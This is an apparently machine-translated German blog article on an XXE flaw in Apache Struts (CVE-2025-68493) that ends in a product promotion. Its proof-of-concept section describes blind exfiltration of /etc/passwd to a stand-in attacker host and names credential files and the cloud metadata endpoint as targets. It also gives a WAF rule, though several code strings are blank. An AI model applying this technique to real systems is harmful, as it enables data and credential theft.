In der sich schnell entwickelnden Landschaft der generativen KI konzentrieren sich Sicherheitsingenieure oft auf modellspezifische Bedrohungen - Prompt Injection, Jailbreaking oder Data Poisoning. Doch die Veröffentlichung von CVE-2025-68493 am 11. Januar 2026 ist eine brutale Mahnung: Die veraltete Infrastruktur, die Ihre hochmodernen Modelle umgibt, ist oft das schwächste Glied.
Dieser Artikel enthält eine technische Autopsie der kritischen Sicherheitslücke, die in Apache Struts xwork-core Komponente. Wir werden die Ursache auf Code-Ebene analysieren, ihr verheerendes Potenzial für MLOps-Pipelines untersuchen und Abhilfestrategien erörtern, die von sofortigem Patching bis zu KI-gesteuerter automatischer Verteidigung reichen.

Die technische Anatomie von CVE-2025-68493
Während Apache Struts eine berüchtigte Geschichte mit Remote Code Execution (RCE) über OGNL-Injektion hat (siehe: Equifax), CVE-2025-68493 einen anderen Vektor angreift: XML-Parsing-Logik.
Der Umfang der Anfälligkeit
- Bauteil:
xwork-core(Das Befehlsmuster-Framework, das Struts 2 zugrunde liegt). - Schwachstelle Typ: XML External Entity (XXE) Injection aufgrund von [CWE-112] fehlender XML-Validierung.
- Betroffene Versionen: Apache Struts 2.0.0 - 6.1.0.
- CVSS v3.1 Ergebnis: 9.8 (Kritisch).
Analyse der Grundursache
Die Schwachstelle ergibt sich aus der XWorkConverter und seine Behandlung von spezifischen Konfigurationsdeskriptoren. Wenn das Framework eine HTTP-Anfrage mit Inhalt-Typ: application/xmlwird der zugrundeliegende XML-Parser (oft Xerces, umhüllt von Struts) instanziiert, um die Nutzdaten zu deserialisieren.
In den betroffenen Versionen ist die DomHelper Klasse die DTD-Verarbeitung (Document Type Definition) und die Auflösung externer Entitäten nicht explizit und standardmäßig deaktiviert.
Eine sichere Implementierung erfordert das Setzen bestimmter Merkmalskennzeichen auf der DocumentBuilderFactory. Das Fehlen dieser Flaggen in CVE-2025-68493 schafft die Öffnung:
Java
// VULNERABLE CODE PATTERN (Konzept) DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Fehlt: dbf.setFeature("", true); // Fehlt: dbf.setFeature("", false); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); // Auslösepunkt
Ohne diese Leitplanken kann ein Angreifer bösartige Entitäten im DOCTYPE-Header definieren, die der Server auflösen muss.
Warum dies für die KI- und MLOps-Infrastruktur wichtig ist
Das könnten Sie fragen: "Wir verwenden Python/PyTorch für Inferenzen. Warum ist eine Schwachstelle im Java-Framework wichtig?"
Die Realität der Unternehmens-KI ist Hybridität. Während das Modell in einer containerisierten Python-Umgebung läuft, ist die Orchestrierungsschicht, API-Gatewayund Legacy Data Lakes Diese Modelle werden häufig auf ausgereiften Java-Stacks wie Struts oder Spring aufgebaut.
CVE-2025-68493 birgt drei spezifische Risiken für AI Systems:
1. Modellgewicht & Datensatzexfiltration (LFI)
Ein XXE-Angriff ermöglicht die lokale Dateieinbindung. Wenn Ihre Struts-Anwendung Lesezugriff auf das Dateisystem hat (was in Containern mit Nicht-Root-Benutzern häufig der Fall ist), kann ein Angreifer Konfigurationsdateien lesen.
- Ziel:
/root/.huggingface/tokenoderaws_credentials. - Auswirkungen: Angreifer stehlen die Anmeldeinformationen, die erforderlich sind, um Ihre proprietären Prüfpunkte oder privaten Datensätze aus S3-Buckets zu ziehen.
2. SSRF gegen Metadatendienste (Cloud Jacking)
Dies ist der kritischste Vektor für Cloud-native KI. Indem sie den XML-Parser zwingen, HTTP-Anfragen zu stellen, können Angreifer den Instance Metadata Service (IMDS) angreifen.
- Nutzlast Ziel:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Auswirkungen: Diebstahl der mit der EC2-Instanz verbundenen IAM-Rolle. In KI-Clustern haben diese Rollen oft weitreichende Berechtigungen zur Bereitstellung teurer GPU-Instanzen (P4/P5-Instanzen), was zu einem Ressourcen-Hijacking für Krypto-Mining oder nicht autorisiertes Training führt.
3. Denial of Service (Angriff mit Milliarden Lachern)
KI-Inferenzserver sind ressourcenintensiv. Ein rekursiver Angriff zur Entitätserweiterung ("Billion Laughs"), der über CVE-2025-68493 gesendet wird, kann den Speicher des Servers erschöpfen, was zum Absturz des Orchestrierungsknotens führt und die Verfügbarkeit des KI-Dienstes unterbricht.
Angriffsvektor-Simulation: Proof of Concept
Im Folgenden wird technisch nachvollzogen, wie ein Angreifer diese Sicherheitslücke ausnutzt.
Szenario: Eine ältere Struts-Aktion wird verwendet, um Benutzerprofile zu analysieren, bevor Daten an eine Empfehlungsmaschine weitergegeben werden.
Kopfzeile der Anfrage:
HTTP
POST /struts2-showcase/person/create.action HTTP/1.1 Host: vulnerable-ai-gateway.corp Content-Type: application/xml
Bösartige Nutzlast (Blind XXE mit Out-of-Band-Exfiltration):
In vielen modernen Konfigurationen wird die Serverantwort bereinigt, d. h. der Inhalt der Datei ist nicht direkt in der HTTP-Antwort zu sehen (Blind XXE). Angreifer verwenden Parameterentitäten, um Daten an einen kontrollierten Server zu senden.
XML
<!DOCTYPE root [ <!ENTITY % remote SYSTEM ""> %remote; ]> John Doe &exfiltrieren;
Inhalt der eval.dtd auf dem Server des Angreifers gehostet:
XML
<!ENTITY % eval ""> %eval;
Ausführungsablauf:
- Der Struts-Parser liest das Haupt-XML.
- Es holt die externe DTD von
angreifer-c2.de. - Er parst die externe DTD, die ihn anweist, Folgendes zu lesen
/etc/passwd. - Sie sendet den Inhalt von
/etc/passwdals URL-Parameter an den Server des Angreifers zurück.

Aufdeckungs- und Sanierungsstrategie
Unmittelbare Schadensbegrenzung (die Phase des "Blutstillens")
Wenn Sie den Patch nicht sofort installieren können, müssen Sie strenge WAF-Regeln (Web Application Firewall) an Ihrem Ingress-Controller anwenden.
Beispiel für eine ModSecurity-Regel:
Apache
SecRule REQUEST_BODY "(?i)<!DOCTYPE" \\ "id:1001,phase:2,t:none,log,deny,status:403,msg:'Potential XML Injection Detected (CVE-2025-68493)'"
Hinweis: Dies ist ein stumpfes Instrument. Es blockiert alle DTDs, was legitime SOAP-Endpunkte stören kann. Testen Sie zuerst im Staging-Modus.
Die offizielle Lösung
Upgrade auf Apache Struts 6.1.1+. Das Apache-Team hat einen Patch für xwork-core um externe Entitäten standardmäßig zu ignorieren. Überprüfen Sie das Upgrade, indem Sie die Struts2-Kern JAR-Version in Ihrem WEB-INF/lib oder Maven-Abhängigkeitsbaum.
| Abhängigkeit | Anfällige Version | Gepatchte Version |
|---|---|---|
Struts2-Kern | < 6.1.1 | 6.1.1+ |
xwork-core | < 6.1.1 | 6.1.1+ |
Skalierende Sicherheit: Die Rolle der KI bei der Schwachstellenvalidierung
In komplexen Microservices-Architekturen erzeugt die einfache Ausführung eines Schwachstellen-Scanners (wie Nessus oder OpenVAS) ein massives Rauschen. Scanner gleichen Versionsnummern ab, können aber oft nicht überprüfen, ob die spezifische Konfiguration ausnutzbar ist. Dies führt zu einer "Alarmmüdigkeit" der Sicherheitsteams.
Dies ist der Punkt, an dem das Paradigma wechselt von Statisches Scannen zu Agentische Penetrationstests.
Automatisierte Ausbeutung mit Penligent
Moderne Sicherheit erfordert Werkzeuge, die wie ein Angreifer "denken". Penligent (penligent.ai) repräsentiert die nächste Generation von automatisierten Penetrationstest-Plattformen. Im Gegensatz zu herkömmlichen Scannern, die Regex-Matching verwenden, nutzt Penligent LLM-gesteuerte Agenten, um den Kontext der Anwendung zu verstehen.
Wie Penligent mit CVE-2025-68493 umgeht:
- Kontextbezogene Entdeckung: Penligent identifiziert die
Inhalt-Typ: application/xmlEndpunkte, auch wenn sie undokumentiert oder hinter komplexen API-Routen versteckt sind. - Intelligente Konstruktion der Nutzlast: Anstatt generische Payloads zu versprühen, analysiert der Penligent-Agent das Verhalten der Anwendung. Wenn er eine Struts-Signatur entdeckt, konstruiert er einen spezifischen PoC für CVE-2025-68493.
- Sichere Validierung: Der Agent versucht, eine harmlose Interaktion auszulösen (z. B. einen DNS-Lookup über XXE), anstatt sensible Dateien zu lesen, und beweist so die Angreifbarkeit, ohne den Datenschutz zu gefährden.
- Falsch-Positiv-Eliminierung: Durch Validierung des Ausführungspfads filtert Penligent das Rauschen heraus. Wenn die Bibliothek vorhanden ist, der XML-Parser aber sicher konfiguriert ist, markiert Penligent ihn als "sicher" und erspart Ihrem Team stundenlange Untersuchungen.
Für Teams, die Hunderte von Diensten verwalten, ist es wichtig, dass sie sagen können "Penligent hat 300 Dienste überprüft, und nur 2 sind tatsächlich ausnutzbar. ist der Unterschied zwischen einem chaotischen Wochenende und einem geordneten Patch-Zyklus.
Schlussfolgerung
CVE-2025-68493 ist nicht nur ein weiterer Eintrag in einem Schwachstellenbericht, sondern eine strukturelle Schwachstelle in der Grundlage vieler KI-Plattformen in Unternehmen. Die Möglichkeit, von einer älteren Java-Komponente zur Kontrolle von Cloud-Metadatendiensten überzugehen, macht dies zu einer Tier-1-Bedrohung.
Sicherheitsingenieure müssen über die "Patch and Pray"-Methode hinausgehen. Wenn wir die Mechanismen des XML-Parsing auf niedriger Ebene verstehen und KI-gestützte offensive Tools wie Penligent nutzen, können wir sicherstellen, dass unsere Infrastruktur so widerstandsfähig bleibt wie die Modelle, die wir erstellen.
Nächster Schritt für Sie:
Überprüfen Sie heute Ihre SBOM (Software Bill of Materials) auf Struts2-Core-Versionen unter 6.1.1. Wenn dies der Fall ist, isolieren Sie den Container sofort und leiten Sie Ihr Incident Response Protocol ein.
Referenzen:

